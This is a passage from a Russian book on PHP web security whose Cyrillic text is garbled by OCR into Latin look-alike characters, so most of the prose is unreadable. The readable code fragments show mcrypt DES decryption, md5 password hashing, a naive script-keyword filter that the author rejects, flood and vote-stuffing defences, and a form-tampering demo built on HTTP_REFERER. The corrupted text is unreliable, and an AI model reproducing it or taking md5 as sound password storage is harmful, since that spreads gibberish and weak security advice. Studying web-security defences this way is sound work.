nepeMeHHOM Stext. Yrobel paciimudposars JaHHbBIE, HYKHO HCHONb3OBATH TOT
Ke KoY U TY Xe (DYyHKILMI0, HO B KAYECTBE TPEThero napamerpa reperatrb 3a-
wpoBAHHBIA TEKCT, & B KayecTBe MocieliHero — KOHCTAHTY MCRYPT _DECRYPT:

<?php
S$decrypted_str=mcrypt_ecb(MCRYPT DES, S$key, S$str,
MCRYPT DECRYPT) ;

7>

3.10.2. AcummeTpu4Hoe wucpposaHue

AcumMmeTpuyHoe mmdposanue peiaeT npobiemy nepeaavyy Kiova 1o cetu, ro-
TOMY 4TO JUISl JAHHOro BHAa wMQpoBaHusl UCITONBL3YIOTCS IBA KIIOYA: OTKPBITHIH
1 3akpeiTeiil. C noMoulbio creluainsupoBarHoii nporpammsl (B OC Linux mis
aToro ucrnons3yercsi Gubnnoreka OpenSSL) Bbl reHepupyere napy m3 oTKphITOro
U 3akpbiToro kimoua. OTKpLITHIN K104 HCHob3yeTest uid 1upoBaHus, a Juis
pacuiudpoBaHua HeobxoauM 3akpbIThi ki, TakuM oOpasoM, OTKPLITHI KoY
moxeT Oea onaceHuil rnepenasaThesi MO OTKPLITHIM KAHAIAM CBSI3U, NOTOMY YTO
C ero MOMOLIbLIO HeNb3s pacluudpoBath AaHHble. 3aKphiThiil KIIOY Bbl COXpaHseTe
y cebst st paciindposaHumsi.

AcHMMMETpHYHELIT MeTon HanexHee. Her, anrropurmel cummerpudHoro wndgpona-
HUSl TAKXKE CTOMKH K arakam XaKepa, HO MpH aCUMMETPHYHOM METO/IE, €C/IH BbI
HUKOMY HE [AaIuTe CBOH 3aKphITHI K104, TO €ro HEBO3MOXHO Oyler y3HarTh,
a 3HAYMT, JUIA B3JIOMAa MPHIETCHA HCIMOJb30BaTh TOJLKO [iIyInblil nepebop Beex
BO3MOXHBIX Kmoueil. Ecin Bul cozmanure Kimoy, winHoit B 1024 cumBona, To 3a-
Tpathl Ha nepebop OyAYT Ype3BLIYAIHO BHICOKH.

[Mpu cosmanuu Web-npuioxeHuit TpyiHo Haiitu cdepy npuMEHEHNS aCHMMET-
puuHoro 1udpoBaHns, U B GONBUIMHCTBE CJyYaeB OHO OyleT W3MHILHUM.

3.10.3. HeobpaTumoe wucppoBaHue

IMocnennuii Merom, KOTOPBIH HaMm [MPeNCTOMT pPacCMOTpeTh, — Heobpatumoe
wndposanue. JIaHHBIT METON OTJIMYAETCS TEM, YTO MCIOJMb3YEMbI aNropuTM
npeobpa3oBbIBAET NAHHBIE TOJBKO B OJHY CTOpOoHY, ofparHoe mnpeobpaszoBanue
HEBO3MOXHO. 3aueM 3710 HY:xHO? HeobparuMblii MeTon valie Bcero HCMoib3yior
s wngposaHus naponeil. Kak e torma rnpoBepuTh, NMPaBHIBHO K MOJb30BA-
Tesb BBEJ naponb? OueHb AaXKe MPocTo: BBENEHHLIE JaHHBIE TAKKe wWHdpyloTes,
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W pesynwTar cpaBHuBaercs ¢ 3awndpoBaHHbIM naponeM, xpansiumca B 6ase.
Eciiu 3T 3HAYeHMUs COBIIANAIOT, TO NAPOJAb BBEJEH BEPHO, WHAYe aBTOPU3ALMS
HENOCTYITHA.

Jinst mucpposanus HeobpatuMbiM obpazoMm B PHP uenonsayercess GyHKUMS mdS ().
Crnenyioluit mpUMep MokKasbiBaeT, Kak BbI MOXeTe 3alunppoBaTh Napob:

$md_pass=md5 ($Spassword) ;

B pesynwrare B nepeMeHHOH $md_pass OyOeT HaXoUMThCS 3aurMcpoBaHHBIN He-
obpatumbiM 06pasoM napoib U3 NMepeMeHHOolt $password. Tenepb MOCMOTPHM,
KakK MOXET IMPOUCXOIHUThL MPOBEPKaA IMapPOIA MOJAb30BaTeNs:

if (md5 ($password)== $md_pass) and ($Susername==S$name)
{
// BeTOopwIauMs NpouNia YCnemHo

}

3.10.4. MNpakTuka ucnonb3oBaHnA

IMpu BRIDOpe MeToHa BaM uallie BCEro MpHIETCs BhIOHPATL MeXIy CHMMETpHY-
HBIM U HeoOparumeiM mMeTonoM. Crenarh BLIOOP AOCTATOUYHO MPOCTO, Bedb HEOO-
patMMo 3aiudpoBaHHBE JaHHBIE HEMb3sl pacluudpoBaTh, MO3ITOMY 3TOT METON
yalle BCEero MCMOJb3yercsl wasl xpaHeHust naponeit. Maponu HUKoOraa HE BHIBO-
narcs Ha Web-ctpaHuue, 1 HaAM He HY)XKHO AaXe 3HaTh, YTO MMEHHO YKa3blBai
M0JIb30BATENb [PH perucTpalni.

Ecnu Bbl BoIOpanu yHKLUMIO mdS () wns wudposaHus naposeif, To Bbl ZOJKHEI
OT/JABaTh cebe OTYET, UTO BOCCTAHOBMTL Tapoib Oyier HepoaMmoxHo. Ecau noib-
30BaTe/b 3a0bU1 €ro, To AMHCTBEHHLIN crocob peuieHus npobieMel — cOPOCHTH
mapoib. Ho kak ato cnenars? JIyuiue Bcero He ne1arh 3Toro Boobiue.

Ko mHe yacro obpaiiaiwTes ¢ npockboii BOCCTAHOBMTE 3a0BIThIl Mapoib WK obHY-
Jauth ero. Ho kak si Mory ObITh YBEpEHHBIM, YTO TOT, KTO obpalaercs, NEHCTBH-
TENBHO sIBNSIETCH BaagenbiieM Tpebyemoii yuerHoit 3anucu? B Takux cayuasix Ha
caiiTe TpU PErucTpaldH [OJIL30BATENI0 MOXKHO MpPELIOXKUTh 3a0aTh OTBET Ha
Kakoil-HuOyIbL BOMpOC, HAMpuMep, Ha3paTh Jobumoe Giuiono. Eciu nonb3osartesis
3a6pU1 Maposb, TO MOXHO MPEUIOKHThL EMY OTBETHTh Ha BOMPOC. DTOT METOI MC-
Monb3yercsl Ha MHOTHX TOMYJISPHBIX KPYMHBIX cnyxkbax, Ho ero athdeKTHBHOCTb
caniukom Huska. TMouemy? S nocrapaloch BaM MOKAa3aTh HA JUYHBLIX HAGMIOAEHMSIX.

Jlyyure Beero, eciu Bamwa cucrema OymerT NpetaraTe HECKONBKO pPasTHYHbIX
BONPOCOB, 4 OTBET HYXHO OyleT BBOIMTbL BPYUHYIO, 4 HE BHIOMpATH U3 CNMCKA.
Ecau nonb3oBateith 3a6b1 napoiib, OH AOJDKEH caM HANHTH BONMPOC, KOTOPbIN Bbi-
Gpai npu perucTpaLMK, M caMocTosiTeIbHO BBecTH oTser. Hukorna He ucrnons-
3yitTe 3apaHee orpeleseHHbIe CIIMCKHM ¢ BAPUAHTAMH OTBETOB.

[Moka Bpozie Bce KPacuBo, U HHYTO He mpeiseniaer 6enbl. Xakep He MOXET 3HAaTh
BOMpOCa, KOTOpBIit BbIOpan nojib3osarelib, U, TeM Goee, oTBeta Ha Hero. Xopollo,
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HO He coBceM. Bo Bpemsi HamHcaHMS KHUTH 5 HALUENX yA3BMMOCTb Ha OLHOM W3
caittoB M cooblma o6 3TOM aaMMHMCTpPATOpy. YA3BMMOCTh ObLma cepbe3Hasd,
M AIMMHUCTPATOpP MONPOCHI MEHs TllaTe/llbHee MpOBepUTh Oe3onacHoOCTh Me-
MOMBL3YEMBIX CLEHAPUEB, HO INOMPOCHJ HE PACKpbIBATL B KHWIE HA3BAHME caiita,
ecnu s cobepych onuckiBarh B3noM. Bonee yriybieHHoe MccaeqoBaHne He Moka-
310 APYrMX YS3BMMOCTEH, HO MHE YIaloch 3anoiay4yuTh Tabiuiuy AaHHbIX O 3a-
perucTpupoBaHHBIX nosb3opatessx. [IpoaHanu3npoBaB AaHHBIE, $ TOPAZMIICSH
TOMY, 4T0 0K0N0 70% oTrBeroB GbiM onHooOpaszHel. Hanpumep, Ha Bompoc o Jio-
6uMoM Giioie oYeHBb YACTO BCTPEHUATMCh OTBEThL: MUBO, 6aHAHBI, oMBLE, 6OPLL K
ellle HecKoJMbKO BapuaHTOoB. [eiicTBUTeIbHO, KOTAA BaM 3a4ai0T BOIPOC O ele, TOo
GoNBIIMHCTBO BhIOEpET camoe Momy/sipHoe G10n0, KOTOPOe TEepBbIM MpPUAET Ha
yM. Hukro He OymeT BhIIYMBIBATH HUYETO CIOXHOIO.

To ke camoe ObUIO W ¢ OTBETAMM HA BOMPOCH O KJIWYKE cobaku, MOMYJspHbLIE
KIHYKH MOXHO MEpPEYMUCIHTDL MO MalbliaM. B Takux ciayyasix 10CTaTOYHO HMMETHL
XOpOLIUH c/I0Baph W HEMHOTO BpeMeHM Uisl noadopa, u Ooblliag 4acTh Y4eTHLIX
3anucei Gyner B3IOMAaHO.

Ipuseny eule oauH npumep. l'on Ha3zaj xakepsl B3TOMATH CepBep XOCTUHIOBOI
KOMMaHWM, rae Haxomwicsi Mo caiit, S coobuwmun o6 3ToM anMUHUCTpALMH,
U 4yepes 4ac KO MHE MpHLUIO MUCBMO, YTO BCE MApoid MPUHYAUTENLHO MEHSIOT-
ca. YrobGbl BOCCTAHOBMTBL MApONb, HYXXHO OBbUIO BOCHONB30BATHCS CHCTEMONH
"BermoMHUTE Naposs”, MpH KOTOPO# ero oTnpamisuiv Ha agpec e-mail, ykazaHHLLH
npu perdcTpaunn. CaMoe CTpallHOE, YTO TOT aapec s yXKe AaBHO 3abpocui, U ero
3aKpbUtd. YTOGBI MONYMMThL NApPOJib, MHE MPHUILJIOCE OTMPABUTh TEJErpamMy
B apec XOCTMHIOBOWH KOMMAHWK C MOMMH 3aBEPEHHBIMHM MACIOPTHBIMH HAHHbLI-
MU. JI1oGble cooBlIEHUs MO 3AEKTPOHHON MOYMTE MIHOPMPOBAIKUCH, U MAPOJU He
BBICBUTAIUCE. [la, 3TO HOCTaBWJIO MHOXECTBO NpobjeM JIeraabHBIM TOJIh30BaTe-
JISIM, HO 3aTO MOXHO OBIJIO rApaHTHPOBATH, YTO HU OJIMH XaKep HE CMOXET epe-
XBaTUTD YIpaBJieHHEe MOUM CalTOM.

Bbl Moxere crnpocuTh, a MoYyeMmy Hellb3si ObLUIO OTHPAaBUTb MACIIOPTHbIE AAHHbIE
no anektpoHHol noute? Henb3as. [eno B TOM, YTO 3TH AaHHbIE MOTJIM ObITh YKa-
3aHBI MIPU PerucTpauuM IOMEHA, a 3HAYMT, JIo6oli Xakep MOXET YBUIETh MX ue-
pe3 cayx6y Whois, BeiciaTh no e-mail atMMHUCTPATOPY cepBepa W MEpexBaTHThH
MO# Mapojib. A BOT OTIPABUThH 3aBEPEHHYIO TEJIEerpaMmy HAMHOIO CJIOXHEE.

HMMeHHO MOSTOMY $i PEKOMEHIYI0 HMKOTHA HE CO34aBaTh BO3MOXHOCTH BOCCTA-
HoBneHua naposneit. [la, wia Web-unrepdeiica rnoutoBoit eayx0Gbl 970 He Momoi-
HET, MOTOMY YTO MNMOJL3OBATE/NH NMOCTOAHHO 3abnIBalOT napojii K CBOUM HAILIHKEM,
W TepsaATh W3-332 3TOr0 3NMEKTPOHHBINA agpec npocto Henb3s. B sToMm ciyuae mc-
nosnb3yiire DES ¢ MakcumanbsHol uinHoii kmioya. Ho Ha dopyMax M yatax Mox-
HO ITO3BONIHTE cebe 3aiiudposath JaHHbIE ¢ momollsio MDS.

HeobGparumoe mwndpoBaHue MOXKHO MCMONb30BATL U JUTIST MPOBEPKH LIEJIOCTHOCTH
nanHbix. Hanpumep, cosnark B Tabiule OTASNBHYIO KOJNOHKY, B KOTOpoit Oyner
XpaHuThC 3alu¢poBaHHBINM BapuaHT Beex noneil. Ecim xakep cMoXeT H3MEeHUThb
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CONEPXKHMOE OOHOrO U3 TONeil, HO He M3MeHHT 3audpPoBaHHOE TIOJE, TO BB
cpasy Xe 3aMeTUTE YTO-TO MOA03PUTENLHOE.

Xpauuth 3alIM(ppPOBaHHLII BapHaHT Beex rnoneil HeadypeKTUBHO, MOTOMY YTO 2TO
notpebyer cauinkoM Gonblinx pacxonoB. HeobXojumMo orpaHUuMTLECS! TONBKO
OCHOBHBIMH mojiamu., Hanpumep, MoxHo 3amudposarh napojb ¢ MOMOLIBIO
3DES, a nmoroM ¢ nomoiubio mdS sawmdposBars WMS [0JIB30OBATENS W yXe 3a-
mndpoBaHHbIi naposib. Takoe 1ojie Ha30BeM KOHTpoIbHOI cymmoit. Toraa, ecin
XaxKep MOMbITAETCS U3MEHUTh UMS WM Mapojib, HO HE MEPECYNUTAeT KOHTPOJIBHYIO
cyMMy, Bbl ObICTPO ODHapyXuTe MOMBITKY B3JIOMA U C NMOMOIIBI CLUEHAPHS CMO-
XeTe NMPOCHTHAM3UPOBATh 0 Heil (OTNpaBuTh CooblIeHHe Ha aapec aIMHHHCTpa-
TOpA) M 3anpeTHTh BXOA C Mcroab3yeMoro xakepom IP-ampeca.

3.11. Ataka Cross-Site Scripting

OpHa u3 cosBpeMeHHbIX arak Ha Web-caiitel nosmyuyuna Hassanue Cross-Site
Scripting. Dra araka ocHoBaHa HA TOM, 4TO Xakep BHeapser B Web-cTpaHuily
cson HTML-gupektusel. C ux moMollbio eMy ymaercsl ykpacTe aitisl cookie
[oAb30BaATENst U Y3HATH UX comepxkumoe. Ecnu B aTuX aiuax GbUTH COXpaHEeHbBI
Napoiu, TO Xakep Mojay4yaeT A0CTYI K Y4eTHOI 3arnucH noib3oBaress.

Eciu xakep cMoxeT BHeApUTh cBoil Koa B Web-cTpaHuily, TO 9T0 'PO3HT HaM He
TOJILKO B3JIOMOM, HO M nopueit coxepxumoro. [Ipu onpeseneHHbIX YCIOBHAX Ta-
Kyl0 araky MOXHO OTHecTH K kiaccy nedeiic (nmogmeHa crpaHuubl). Bo3amox-
HOCTb BHEZIPEHMS YYXKOro Kola Ha cailT NeiCTBUTENIbHO OMacHa, U Ha 3TO HeNb3d
3aKphIBaTh J1a3a.

Yrobel xakep He cMor BAMsAThL HAa couepxumoe Web-crpaHuil, Bbl JTOMKHBI BHH-
MaTeJIbHO MPOBEPATh KAXKIbIH rnapaMeTp, KOTOpbll MepenaeTcsi Mojb3oBaTeieM,
W COIEepXHMOE KOTOpPOTO BBIBOAMTCS Ha CTpaHuuy. [lOomycTHM, YTO BB XOTHTE
Hanucath GOpyM WIM rocTeByl0 KHHUTY. Takue clieHapuu 00s13aTeIbHO NOoJy4yaloT
TEKCT OT monp3oparenei M orobpaxaior ero Ha Web-crpanuue. Heobxomumo,
4yToOBl XaKep He cMor 0TOGPA3UTh HA SKpaHe HUYero JuliHero. [is 3Toro MoxHO
MCIONb30BaTh (BYHKLUHIO htmlspecialchars(), KOTOPYIO Mbl PacCMATPHBAIH
B pasdese 3.5. Ho y Hac yxe jpocraroMHo wHdopManum, Ytobsl He HalesThes Ha
aty dyHkuuw. Ha Mot B3mmsin, Oyner HaMHOro Jiydile, eciii Bbl HalUILETE pery-
NSiPHOE BhIpAXEeHHE W QYHKLMIO, KOTOpbie OyIyT 3aMeHATh CUMBON < Ha rocie-
JIOBATENIBHOCTD &1t ;,

Ucnonb3oBarne coBCTBEHHOrO PeryisipHOTO BbIpaXeHMs He obecneuusaer 6o-
Jie€é BBICOKYIO CKOpPOCTb paﬁoru, 34TO rapaHTHpPYET YHHUBEPCAIBbHOCTb NOAXO0MA.
Bul Gynere Hapammpath GYyHKUMOHAILHOCTb, paclinpsis BO3MOXHOCTH MOUCKA
¥ 3aMEHBHI.
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HEKOTODMC NMPpOrpaMMHMCTRI MbITAIOTCS 3alpellaTh TOJALKO ONPEACNICHHBIE OIMAC-
Hble TerM WM MmapamMeTpsl Teros (JavaScript, VBScript W Ap.), Hanpumep,
C MTOMOLLBIO TAKOH MPOLEAYPbI:

function RemoveScript ($r)

{

$r = preg_replace("/javascript/i", "java&nbsp;script&nbsp;", Sr);

Sr = preg_replace("/vbscript/i", "vb&nbsp;scripténbsp;", $r);

return $Sr;

}

He crout storo aenarb. Bel obsizarebHO yrycTtHTe onacHselii Ter. Heobxommmo
3anpellarh BCe, WIK Balla cucTeMa 6e3omacHocTH GeccMbIC/ieHHA.

3.12. ®nyp

BosblIMHCTBO XaKepoB HAYMHAET CBOKO Kapbepy ¢ HeGonbuIMX LianocTeil, oaHOI
13 Kotopbix asasietcs (aya (flood). Yro sro Takoe? [lomycTuM, 4TO Bbl co3maeTe
dopyM WM rocTeByio KHHUTY, rje jtoboil moceTurens caiita MOXKeT OCTABUTh CBOE
coobluieHue. 3M0YMBILIEHHUK MOXET MOMBITATLCH 3achinarth 6a3y AaHHBIX Oec-
CMBIC/IEHHBIMU coobuieHus M. KoMy-TO KaeTcs 3TO CMELIHbIM, HO $I BUKY
B 3TOM TOJIBKO [JIYIIOCTE W JIETCKYIO LIAJI0CTh,

3.12.1. 3awura ot chnyaa coobuieHnamm

Hawnyyiium BapuanToM 3auintsl oT duiyna GymeT samnper Ha OTNPaBKy € ONHOMO
u toro xe [P-aapeca HeckonbKuxX cooblueHU nmoapsa. st aToro MoXHO peanu-
30BaTh B CLEHAPHU CICHYIOLIYIO JIOTUKY:

1. Tlocie ornpaBKu MOJAb30BATE/IEM COODIIEHHS ANPEC MOCETUTENS M TeKylles
BpeMsl COXpaHsIOTCsl Ha cepBepe B 0ase AaHHbIX. XpaHUTH aapec HEOOXOAMMO
MMEHHO Ha CcepBepe, MOTOMY YTO BCe, YTO HAXOAUTCS HAa KOoMIibloTepe-
KiueHre, 6e3 rpobiieM YHUYTOXKAETCs 3a MATh CEKYHI, a To n GeicTpee. Yrobml
OMpeae/iuTh aIpeCc KIHEHTA, MOXHO HCHOJb30BATE MEPEMEHHYIO OKPYXKEHH
REMOTE_ADDR:

$_SERVER [ "REMOTE_ADDR" ]

2. Tpu npuHATHHA cooOllleHust OT Mojib3oBaTelsi HeoOXoMUMOo yIAIUTh U3 Gaswl
Bce IP-anpeca, Bpemsi XpaHeHUSI KOTOPBIX MpPEeBbILIAET OMpeleIeHHOe KoNHe-
CTBO MMHYT. Yallle Bcero JoCTaTOMHO ABYX MHHYT.

3. Teneps nposepsieM, ocrancsa au 1P-anpec B 6ase nanubix. Ecin ga, To He 00-
paGarpiBaeM mnosiydeHHoe cooblleHue, a BeigaeMm coobieHue tuna "Hennss
OCTABJATH [IBa COODILEHUS B TEYEHWE NBYX MUHYT'.

Kak nokasbiBaeT npakThKa, 3MOYMBILLIEHHUKM He ByayTt "dnyants” Ha cepsepe,
re ycTaHOBJIEHA TaKas 3aliuTa. 9TO OTHUMAET CIUIIKOM MHOrO BpeMeHM, a 3d-
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ekt MUHHMaNEH, MOTOMY 4TO MHOTO cooOleHHi ocTaBuThL He yiracres. Bumn-
MO, 3TO YK€ HE CMEILHO, i XaKepbl OCTAB/ISIOT TAKOI1 cCepBeEP B MOKOE.

3.12.2. 3awmra ot HaKPYTKN rosiocoBaHuii

q)J’IY.Il MOZKET HCMOJBL30BATLCH W LA HaKp}’TOK TroJIoCOBaAHMS. 3JIOYMI:ILLIJ1’€HHHK
oTnaer CBOIi rojioc 3a OIMH U TOT Xe Bapuau'r OTBETA HECKOJBEKO p’d3, CcJienas ro-
JIOCOBaHHE HeOOBEeKTUBHBIM.

[Tepsoe, 4TO NPHUXOAMT B rOJOBY /Uist 3alMThl OT (yaa, — cOXpaHUTb HA AMCKeE
nonb3opatens ¢aiin cookie, B KOTopoM OVIeT MpHCYTCTBOBATL NMapaMmerp, yKasbl-
BAIOLLIMI HA TO, YTO MOJIL30BATENb YXKe MPOrojlocoBal,

[Tste ner Hazan cucrema ronocopaHusi Ha www.download.com ne umena abeo-
JIOTHO HUKAKOW 3aututel or ¢ayaa, ¥ MoOXHO GbUIO BOCIIONL3OBATLCH IMPOCTEN-
UM criocoBoM OLICTPOro: Bbl 3aXOANTE HA cailT, BoIOMpaeTe HYXHbIH BapuaHT
orseta W HayuHaete GbICTPO WEeNKarh Ha KHornke OrnpasuTs.

HonycruMm, Bbl UCHOIb3YeTe NPOCTYIO TeNePOHHYIO THHUIO. Toraa /Ui oTnpaBKu
BAlEro OTBETa W NOJAYUYeHUsl NOATBepAIeHMs (1. e. cookie-haiina) HYyKHO BpeMms.
Eciu B MOMEHT nepecbulKH/MONyYeHHs] MakeTa MOBTOPHO HaXarbk KHOMKY
OTnpasuTh, TO MpeablIylIas MOCLUTKA HAa KIWEHTCKOH CTOPOHE CYMTAETCs Hesa-
BEPILEHHON M OTMEHSETCs!, 1 HaynHaeT paboraTh HOBLIl ceanc oOMeHA MAHHLIMH.
Korna na nepByio oTmpaBKy NpuieT MOATBepXkieHHe cepBepa M npockba naMe-
HUTh haitn cookie, sanpoc ByaeT OTKIOHEH M3-32 HECOBMANEHUS CEAHCOB.

CrenoBarenbHo, eciii GeicTpo wienkars Ha KHorike OrnpaBurs, To OYAyT OTHpaB-
ASITHCS TIAKETHhl C BalllMMU BapuaHTamMd oTBera, a cepsep MX obpaboraer v noba-
BUT TOJIy4eHHBIE rojoca (T. e. BIMOMHATCA 1wark 1 # 2). A BOT Ball KOMIIbIOTED
CTAHET OTKJIOHATH MOATBEPXKIEHHA, U TPETHH war OyaeT nponyckarbes, 1oka He
MPOU30IET OJHO U3 CAEAYIOUIUX COOBITHIA:

O ecnu BBI MpekpaTuTe OBICTPO LIEAKATH HA KHOMKE OTMPaBKU OTBETa, TO Gpay-
3ep npumer aitn cookie, Mony4eHHbI B pe3y/bTaTe MOCAEAHEro LUeTyKa,
U COXPAHMUT €ero;

O ecnn Mexny wejuykaMd Ha KHOMKE OTINpaBky cepBep obpaboran 3anpoc,
a Ball KOMIBIOTEP Ycren NpMHATH MOATBEpPXAeHHe, To aitl Oyder cosiaH,
W JanbHelme ek CTAHYT HEBO3MOXHBLIMH.

Ha BelaeieHHBIX THHUSX ¢ OONBUIONR CKOPOCTLIO MOAKIIOYEHUST oOMEH makeTaMu
NMPOMCXOAUT BBICTPO, M MOXKHO HE YCTIETh IEJKHYTh B OYEpeaHOi pa3, a 3HAyuT,
daitn cookie 6yner cosnaH. Yrobbl ocTaBuTh HOBOE cooblileHUe, MpUIETCS yaa-
7AuTh Qaiil ¥ TONBKO MNOCNE BTOTO MOBTOPUTHL MOMBITKY. DTO OTHHMAET CIMIIKOM
MHOTO BpPEMEHH, M TAKOI HAKpPYTKOiIl Mano KTO 3aHMMaeTcsi. A ecin Ha cepsepe
euie u coxpausiercst IP-anpec nporonocoBaBliny Moiab3oBaTeNeil, TO Xakepsl BO-
oblite He OyayT CBA3LIBATLCS C TAKUM CAHTOM.

BapnanTtoB HAKpyTKM ClieHApUEB roJXOCOBAHHI MHOrO, H MBI PACCMOTPEIW TOb=
KO OIMH — caMblii mpocroil. Bel MOXeTe Mo3HaKOMHMTBECH W ¢ JAPYIMMH BapuaH-
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Tamu B kuure "Komnsiotep rmazamu xakepa" [2]. Hawa xe 3anaya paccMoTpeTts
3¢ deKTUBHBIH METO 3aLUMUTEl OT HAKPYTKH.

Cawmsrit achdekTuBHbBIH criocob — coxpausats [P-agpeca nporonocosasuiux B 6ase
INAHHBIX cepBepa. DTH ajpeca AOJKHBI XPAHUTHCS, NMOKA HE CMEHMTCS Onpoc.
B sroMm cityuae ¢ ogHoro [P-anpeca HuKoraa Helb3st OYIeT NMpOroaocoBarh ABAXKIIKI.

OjiHaKko 3TO0 He 3HAYMT, YTO OMpEAeNeHHbI M0Nb30BaTeNb HE CMOXET Mporojio-
COBaTh ABAXIbI. MBI MPUBS3ATKUCH K a/ipecy, a He K MOoJIb30BaTeio. Xakep MOXer
MOAK/IIOYUTECS Yepe3 aHOHUMHBII MPOKCH-cepBep M CHOBA MPOroJocoBath, Io-
TOMYy uTO Bail cueHapuit ysuaur [P-azpec npokcu, a He xakepa. Ho MHoro siu
MOXHO HAiTH AaHOHMMHBIX TPoKcK? S AyMalo, YTO HET, MO3TOMY CHJIBHO MOBJIK-
ST HA X0l roJiocoBaHusl He yaacTcH. A ecliM KTO-TO YK€ MporojiocoBajl 4yepes
MPOKCH, TO XaKep HE CMOXET 3TOro CAENnaTb.

Bo3uTkcsl ¢ MpoKcH-cepBepaMi Xakepsl He 06T, noromy 4to acddekt MUHUMa-
JIeH, a BOT MUl FOJIOCOBAHMs Takas 3aluTa sigasercss MuHycoMm. B Mutephere
OYeHb MHOTO OONbIUMX ceTeil, KOTOpbIE CBA3aHbl ¢ BHEIUHHM MHPOM uepes
npokcu- unu NAT- (Network Address Translation, TpaHCHsSILNS CETEBBIX aIpecon)
cepBepbl. B aToM ciyuae Bce monb3oBaTenyu BUAHBI U3 MHTepHETa ¢ OIHHM M TeM
ke [P-ampecom, ¥ 310 cosnaer cepbesHbie npobieMbl IS 3alUMTHl CLEHAPUES.
JlocTaToyHO OXHOMY TOJB30BATENI0 OTAATH CBOH rojioc, M BCE OCTANbHBIE YXKe
aroro He cMoryT. [lomgyyaerces, YTO TaKylo 3aUIUTY HeNb3si Ha3BaTh (P GheKTHBHOIN,
MOTOMY 4TO Y HEE €CTh CAULIKOM OOJIBILIONA HEIOCTATOK.

Bonee addexTtnBHbIM MeTomoM 6yner coxpaHeHue B 6aze nmaHHbeix IP-aapeca
TOJMBKO HA OMNpejeleHHOEe BpeMsi, KaK ¥ NpH 3auure ot duiyna coobieHiii.
B arom ciyyae Bce Monb3oBaTeM CMOTYT MPOroaocoBaTh, JIABHOE, YTOObI OHU
roJ0coBaiM HEONHOBPEMEHHO. BrpoueM, M Xakep CMOXET 4epe3 OlNpelesieHHbIe
[IPOMEXYTKH BpEeMEHM OCTaBIIATEH CBOM rojoc.

BonplunHCTBO caifToB mocieHee BpeMsl CTaJM pa3peliarb roOJOCOBAHME TONLKO
3aperuCTPUPOBAHHBIM MOJB30OBATENAM. DTO M3HAYATBHO OrpaHMYMBAET KPYT JiO-
Jeif, KOTOpbIe MOTYT BbIpasuTh CBOE MHEHHWE, HO 3aTo cosaaer Gonee addextun-
Hylo 3awuTy or ¢uiyna. Tenepb Xakepy, 4ToGbl MPOroj0COBaTh, HYXKHO 3aperucT-
PHpPOBATHCH HA caifTe, a €ciii 3TOT Mnpouece norpebyer NeHCTBUTEILHOTO anpeca
e-mail (Ha Koropblit OyIeT OTNPaBisATECA KON aKTHBALMK), TO 1S TOro, Ytobbl OT-
narb (haTbLIKUBLIA roioc, Xakepy HYXXHO OyaeT BLIMONHHUTH cliefytoline NeHcTBUs:

1. 3aperucTpupoBaTh MOYTOBBINA UMK HA Mo6H GecruiarHoit cayxbe. Braro, Ta-
kux cinyx6 B UHTEpHETE NOCTATOMHO, M 3TO HE COCTABMT ocoboro Tpyna.

2. 3aperucTpMpOBAaThCS HA CAUTE C YKA3aHUEM 3aperMcTpUpOBAHHOIO SILKKA,
Kyna Oyner Beic/aH KOI aKTHBALIMH.

3. AKTHBMPOBAaTh YYETHYIO 3aITMCh M MPOToJIOCOBATh.

Bce 3TH ward HeCHOXHbi€, HO OTHUMAIOT O4YE€Hb MHOrO BPEMEHM M CHJI, a4 XaKE-
PbI JIEGHHBBI ¥ HE GYHYT 3aHMMAThCs MOJOOHBIMM BelaMM, 3aTo ,[lOGpOI'IOpHIIO'—[-
HBIM IMOJB30BATE/IAM MbI HCMTOPTHM KH3HB.
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IMonyuaercs, uto noboMy rojocoBaHuio B MHTEpHETE HENB3A HOBEPATH, MOTOMY
YTO OHO HE MOXET OTpaXxkarh HeicTBuTesbHOCTb. Eciu peannsosath XeCTKyio 3a-
LMTY OT (hyna, TO MpPOrofiocylOT A4NeKo He BCe, @ €CM 3alllUTy XOTh HEMHOro
CMATYUTh, TO XaKephbl cymeloT ee oboiitu. [Ipyroe neno, ¢ KakuMmu 3atparamu Oy-
ner cBsa3aH obxoi. 3arpaThl B AAHHOM CJIyYyae CBA3aHbI CO BPEMEHEM M YCHIIMSIMM.
HakpyTka romocoBaHusti — 910 He T4 0014CTh, [€ XaKepsl NOMKHBI HPHMEHAThH
CBOW 3HAHMA M yMeHMs. DJIMTA TAKOrO B3JIOMA HE ONOGPUT, Ja U CHJIBHO HaBpe-
JIUTH He yJacTcs, MO3TOMY HUYEro CMELIHOro TyT He Gyner.

3.13. 3awmra oT uameHeHns popmbl

Y PHP ectb onHa uHTEpecHas MepeMeHHas OKpYXeHHA: HTTP_REFERER. B Heit
MOJDKEH HaxoAauThest nyTh K daitny, n3 koroporo Geul 3anyueH cueHapuit. [da-
Baifte cozmanumM daitn env.php co creayiolUM COAEPXKUMBIM:

<form action="env.php" method="get">

<B>BeemMTe KakKOW-HMOyO: TercT</B>

<BR>TexcT: <input name="server">

<BR><input t ="submit" value="OK">
</ form>
<?php

print (SHTTP_REFERER) ;
?>

3nech onpeneaeHsl hopMma Ui BBOOA TEKCTa WM mepenauu ero cueHapuio u PHP-
Kol, Kortopslif BeiBonuT Ha Web-crpaHuuy comepxumoe  fepeMeHHOM
HTTP_REFERER. 3arpysure 3TOT cueHapuit B Opaysep. B pesynbrare Ha 3KpaHe
noMuMo hbopMBI ISl BBOIA TeKeTa MOXeT OBITh BbIBeleH NyTh K haiiny, oTKyna
ObU1 3anylleH cleHapuif, HO MpM 3anycke OH MOXeT 6bITh W nycTeiM. Tenepb
nonpobyiiTe BBeCTH Kakoi-HUOyAb TEKCT B MoJie BBOJA W Nepelarh ero cepBepy.
Bor Tenepb nepeMeHHass HTTP_REFERER TOYHO NO/DKHA OTpaxarb nyTb. B moem
ciygae Ha Web-crpanuue s ysugen http://192.168.77.1/env.php, 3mech
192.168.77.1 — srto [P-ampec koMmneioTepa, rae y MeHs ycraHosineH Linux
¢ Web-cepsepom Apache+PHP.

Tenieps monpoGyem coxpaHuThb aili HA CBOEM KECTKOM JUCKE M MCIpaBUM
nyTh B Mojie action (OpMBI TaK, YToObl HaHHBIE opMbl nepenasaiucs Web-
CEpPBEPY.

<form action="http://192.168.77.1/env.php" method="get">

<B>BBemTe KakoM-HMOyOb TeKcT</B>

<BR>TercT: <input name="server">

<BR><input type="submit" value="OK">
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</form>

<?php
print (SHTTP_REFERER) ;

7>

Xakephl 0ueHb 4acTo coxpaHsioT Web-cTpaHuiibl HA CBOEM JUCKe JUlsl W3YdeHst
